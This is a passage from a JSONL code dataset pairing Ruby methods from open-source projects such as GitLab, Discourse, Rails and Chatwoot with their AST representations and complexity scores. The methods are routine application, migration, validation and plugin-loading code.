"]}]}]}]}","id":"352fa697-a9fa-4be2-8bc9-27ca51e0f3c3"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_worker/runner.rb","start_line":65,"raw_source":"def set_connection_pool_size\n    cur_size = ActiveRecord::Base.connection_pool.instance_variable_get(:@size)\n    new_size = worker_settings[:connection_pool_size] || cur_size\n    return if cur_size == new_size\n\n    ActiveRecord::Base.connection_pool.instance_variable_set(:@size, new_size)\n    _log.info(\"#{log_prefix} Changed connection_pool size from #{cur_size} to #{new_size}\")\n  end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_connection_pool_size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cur_size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_pool\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@size\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_size\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"worker_settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"connection_pool_size\"]}]},{\"type\":\"lvar\",\"children\":[\"cur_size\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cur_size\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"new_size\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_pool\"]},\"instance_variable_set\",{\"type\":\"sym\",\"children\":[\"@size\"]},{\"type\":\"lvar\",\"children\":[\"new_size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_prefix\"]}]},{\"type\":\"str\",\"children\":[\" Changed connection_pool size from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cur_size\"]}]},{\"type\":\"str\",\"children\":[\" to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_size\"]}]}]}]}]}]}","id":"b3b218c5-8c59-48b1-85f8-4e191906df02"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/concerns/reports/top_traffic_sources.rb","start_line":7,"raw_source":"def report_top_traffic_sources(report)\n      category_id, include_subcategories = report.add_category_filter\n\n      report.modes = [Report::MODES[:table]]\n\n      report.labels = [\n        { property: :domain, title: I18n.t(\"reports.top_traffic_sources.labels.domain\") },\n        {\n          property: :num_clicks,\n          type: :number,\n          title: I18n.t(\"reports.top_traffic_sources.labels.num_clicks\"),\n        },\n        {\n          property: :num_topics,\n          type: :number,\n          title: I18n.t(\"reports.top_traffic_sources.labels.num_topics\"),\n        },\n      ]\n\n      options = {\n        end_date: report.end_date,\n        start_date: report.start_date,\n        limit: report.limit || 8,\n        category_id: category_id,\n        include_subcategories: include_subcategories,\n      }\n\n      result = IncomingLinksReport.find(:top_traffic_sources, options)\n      report.data = result.data\n    end","complexity_score":19.38,"ast_json":"{\"type\":\"def\",\"children\":[\"report_top_traffic_sources\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"report\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"category_id\"]},{\"type\":\"lvasgn\",\"children\":[\"include_subcategories\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"add_category_filter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"modes=\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Report\"]},\"MODES\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"table\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"labels=\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"property\"]},{\"type\":\"sym\",\"children\":[\"domain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"reports.top_traffic_sources.labels.domain\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"property\"]},{\"type\":\"sym\",\"children\":[\"num_clicks\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"reports.top_traffic_sources.labels.num_clicks\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"property\"]},{\"type\":\"sym\",\"children\":[\"num_topics\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"reports.top_traffic_sources.labels.num_topics\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"end_date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"start_date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"limit\"]},{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"lvar\",\"children\":[\"category_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_subcategories\"]},{\"type\":\"lvar\",\"children\":[\"include_subcategories\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IncomingLinksReport\"]},\"find\",{\"type\":\"sym\",\"children\":[\"top_traffic_sources\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"data=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"data\"]}]}]}]}","id":"b61c6152-4640-42db-80a4-fedc4b6f2ff0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/ndjson_pipeline.rb","start_line":273,"raw_source":"def persist_relation(attributes)\n      relation_factory.create(**attributes)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"persist_relation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relation_factory\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]}]}","id":"32c90c64-1a91-4867-b449-7e5ceb3fa3df"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/gems/gitlab-orchestrator/lib/gitlab/orchestrator/lib/deployment/installation.rb","start_line":225,"raw_source":"def create_namespace\n          log(\"Creating namespace '#{namespace}'\", :info)\n          puts kubeclient.create_namespace\n        rescue Kubectl::Client::Error => e\n          return log(\"namespace already exists, skipping\", :warn) if e.message.include?(\"already exists\")\n\n          raise(e)\n        end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"create_namespace\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating namespace '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]},{\"type\":\"sym\",\"children\":[\"info\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"kubeclient\"]},\"create_namespace\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kubectl\"]},\"Client\"]},\"Error\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]},\"include?\",{\"type\":\"str\",\"children\":[\"already exists\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"namespace already exists, skipping\"]},{\"type\":\"sym\",\"children\":[\"warn\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}","id":"d440071a-9e80-4106-b87b-1b493c577f5c"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/whatsapp/authorizations_controller.rb","start_line":67,"raw_source":"def validate_embedded_signup_params!\n    missing_params = []\n    missing_params << 'code' if params[:code].blank?\n    missing_params << 'business_id' if params[:business_id].blank?\n    missing_params << 'waba_id' if params[:waba_id].blank?\n\n    return if missing_params.empty?\n\n    raise ArgumentError, \"Required parameters are missing: #{missing_params.join(', ')}\"\n  end","complexity_score":22.3,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_embedded_signup_params!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"missing_params\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"code\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing_params\"]},\"<<\",{\"type\":\"str\",\"children\":[\"code\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"business_id\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing_params\"]},\"<<\",{\"type\":\"str\",\"children\":[\"business_id\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"waba_id\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing_params\"]},\"<<\",{\"type\":\"str\",\"children\":[\"waba_id\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing_params\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Required parameters are missing: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing_params\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}]}","id":"fc1753aa-7f8a-49d9-881d-17005dc66d00"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/counter/validator.rb","start_line":50,"raw_source":"def call(data)\n        success = []\n        errors = []\n\n        if @empty && data.empty?\n          errors << Fluent::Counter::InvalidParams.new('One or more `params` are required')\n        else\n          data.each do |d|\n            begin\n              @types.each { |type| dispatch(type, d) }\n              success << d\n            rescue => e\n              errors << e\n            end\n          end\n        end\n\n        [success, errors]\n      end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"success\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"errors\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@empty\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"empty?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Counter\"]},\"InvalidParams\"]},\"new\",{\"type\":\"str\",\"children\":[\"One or more `params` are required\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@types\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[null,\"dispatch\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"d\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"success\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"d\"]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"success\"]},{\"type\":\"lvar\",\"children\":[\"errors\"]}]}]}]}","id":"2c227c90-819f-4c44-81a4-2faf1e7e90b7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/database/batched_background_migration/execution_worker.rb","start_line":72,"raw_source":"def shares_db_config?\n        Gitlab::Database.db_config_share_with(base_model.connection_db_config).present?\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"shares_db_config?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"db_config_share_with\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_model\"]},\"connection_db_config\"]}]},\"present?\"]}]}","id":"c08d5675-ba75-4341-8364-a7ff72906515"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/confirmation_validation_test.rb","start_line":119,"raw_source":"def test_title_confirmation_with_case_sensitive_option_true\n    Topic.validates_confirmation_of(:title, case_sensitive: true)\n\n    t = Topic.new(title: \"title\", title_confirmation: \"Title\")\n    assert_predicate t, :invalid?\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_title_confirmation_with_case_sensitive_option_true\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_confirmation_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"case_sensitive\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title_confirmation\"]},{\"type\":\"str\",\"children\":[\"Title\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"sym\",\"children\":[\"invalid?\"]}]}]}]}","id":"e010bee8-0157-4532-9750-f168659d900d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250512121701_move_ci_builds_metadata_to_dynamic_schema.rb","start_line":19,"raw_source":"def down\n    return unless can_execute_on?(TABLE_NAME)\n\n    table_identifier = \"#{DYNAMIC_SCHEMA}.#{TABLE_NAME}\"\n\n    if table_exists?(table_identifier)\n      connection.execute(<<~SQL)\n        ALTER TABLE IF EXISTS #{table_identifier} SET SCHEMA #{connection.current_schema};\n      SQL\n    else # In tests we set the database from structure.sql, so the table doesn't exist\n      connection.execute(<<~SQL)\n        DROP TABLE IF EXISTS #{DYNAMIC_SCHEMA}.#{TABLE_NAME}_100;\n        CREATE TABLE IF NOT EXISTS #{TABLE_NAME} PARTITION OF p_#{TABLE_NAME} FOR VALUES IN (100);\n      SQL\n    end\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_execute_on?\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"table_identifier\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DYNAMIC_SCHEMA\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_exists?\",{\"type\":\"lvar\",\"children\":[\"table_identifier\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ALTER TABLE IF EXISTS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_identifier\"]}]},{\"type\":\"str\",\"children\":[\" SET SCHEMA \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"current_schema\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DROP TABLE IF EXISTS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DYNAMIC_SCHEMA\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\"_100;\\n\"]},{\"type\":\"str\",\"children\":[\"CREATE TABLE IF NOT EXISTS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\" PARTITION OF p_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\" FOR VALUES IN (100);\\n\"]}]}]}]}]}]}","id":"13fcc049-f677-4a2f-aad1-2f779eed162f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/autocomplete/group_finder.rb","start_line":22,"raw_source":"def execute\n      return unless project.blank? && group_id.present?\n\n      group = Group.find(group_id)\n\n      # This removes the need for using `return render_404` and similar patterns\n      # in controllers that use this finder.\n      unless Ability.allowed?(current_user, :read_group, group)\n        raise ActiveRecord::RecordNotFound, \"Could not find a Group with ID #{group_id}\"\n      end\n\n      group\n    end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group_id\"]},\"present?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"find\",{\"type\":\"send\",\"children\":[null,\"group_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"allowed?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_group\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not find a Group with ID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group_id\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}","id":"340cbb95-c8bf-4100-8917-b9eb06ef8657"}
{"repo_name":"hooks","file_path":"./repos/hooks/lib/hooks/core/plugin_loader.rb","start_line":266,"raw_source":"def load_custom_lifecycle_plugin(file_path, lifecycle_plugin_dir)\n          # Security: Ensure the file path doesn't escape the lifecycle plugin directory\n          normalized_lifecycle_dir = Pathname.new(File.expand_path(lifecycle_plugin_dir))\n          normalized_file_path = Pathname.new(File.expand_path(file_path))\n          unless normalized_file_path.descend.any? { |path| path == normalized_lifecycle_dir }\n            raise SecurityError, \"Lifecycle plugin path outside of lifecycle plugin directory: #{file_path}\"\n          end\n\n          # Extract class name from file (e.g., logging_lifecycle.rb -> LoggingLifecycle)\n          file_name = File.basename(file_path, \".rb\")\n          class_name = file_name.split(\"_\").map(&:capitalize).join(\"\")\n\n          # Security: Validate class name\n          unless valid_lifecycle_class_name?(class_name)\n            raise StandardError, \"Invalid lifecycle plugin class name: #{class_name}\"\n          end\n\n          # Load the file\n          require file_path\n\n          # Get the class and validate it - use safe constant lookup\n          lifecycle_class = begin\n            Object.const_get(class_name, false) # false = don't inherit from ancestors\n          rescue NameError\n            raise StandardError, \"Lifecycle plugin class not found: #{class_name}\"\n          end\n          unless lifecycle_class < Hooks::Plugins::Lifecycle\n            raise StandardError, \"Lifecycle plugin class must inherit from Hooks::Plugins::Lifecycle: #{class_name}\"\n          end\n\n          # Register the plugin instance\n          @lifecycle_plugins << lifecycle_class.new\n        end","complexity_score":34.4,"ast_json":"{\"type\":\"def\",\"children\":[\"load_custom_lifecycle_plugin\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_path\"]},{\"type\":\"arg\",\"children\":[\"lifecycle_plugin_dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"normalized_lifecycle_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"lifecycle_plugin_dir\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"normalized_file_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"normalized_file_path\"]},\"descend\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"normalized_lifecycle_dir\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"SecurityError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Lifecycle plugin path outside of lifecycle plugin directory: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"file_path\"]},{\"type\":\"str\",\"children\":[\".rb\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"class_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]},\"split\",{\"type\":\"str\",\"children\":[\"_\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"capitalize\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_lifecycle_class_name?\",{\"type\":\"lvar\",\"children\":[\"class_name\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid lifecycle plugin class name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"lifecycle_class\",{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"const_get\",{\"type\":\"lvar\",\"children\":[\"class_name\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NameError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Lifecycle plugin class not found: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_name\"]}]}]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lifecycle_class\"]},\"<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hooks\"]},\"Plugins\"]},\"Lifecycle\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Lifecycle plugin class must inherit from Hooks::Plugins::Lifecycle: 